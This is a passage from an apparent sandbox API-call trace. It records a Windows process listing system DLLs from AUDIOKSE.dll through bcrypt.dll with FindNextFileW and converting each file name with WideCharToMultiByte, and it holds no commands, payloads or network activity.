lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOENG.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.856] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0040.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOKSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.857] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0040.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOSES.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.857] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0040.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0040.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x1d3c120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITNATIVESNAPIN.DLL", lpUsedDefaultChar=0x0) returned 21 [0040.857] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0040.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0040.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x1d3c288, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLICYGPINTEROP.DLL", lpUsedDefaultChar=0x0) returned 24 [0040.857] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0040.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0040.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x1d3c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLMSG.DLL", lpUsedDefaultChar=0x0) returned 15 [0040.857] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0040.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0040.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x1d3c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWCFG.DLL", lpUsedDefaultChar=0x0) returned 13 [0040.857] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0040.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWGP.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.857] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0040.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0040.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x1d3c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWSNAPIN.DLL", lpUsedDefaultChar=0x0) returned 16 [0040.858] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0040.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0040.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x1d3c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWWIZFWK.DLL", lpUsedDefaultChar=0x0) returned 16 [0040.858] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0040.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.858] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0040.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x1d3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHZ.DLL", lpUsedDefaultChar=0x0) returned 9 [0040.858] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0040.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTOPLAY.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.858] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0040.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0040.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x1d3c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYAPI.DLL", lpUsedDefaultChar=0x0) returned 23 [0040.858] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0040.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0040.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x1d3c288, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYCPL.DLL", lpUsedDefaultChar=0x0) returned 23 [0040.858] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0040.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVICAP32.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.859] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0040.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVIFIL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.859] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0040.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x1d3c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVRT.DLL", lpUsedDefaultChar=0x0) returned 8 [0040.859] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0040.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLES.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.859] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0040.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.859] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0040.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZSQLEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.859] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0040.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BASECSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.859] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0040.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BATMETER.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.859] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0040.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x0, 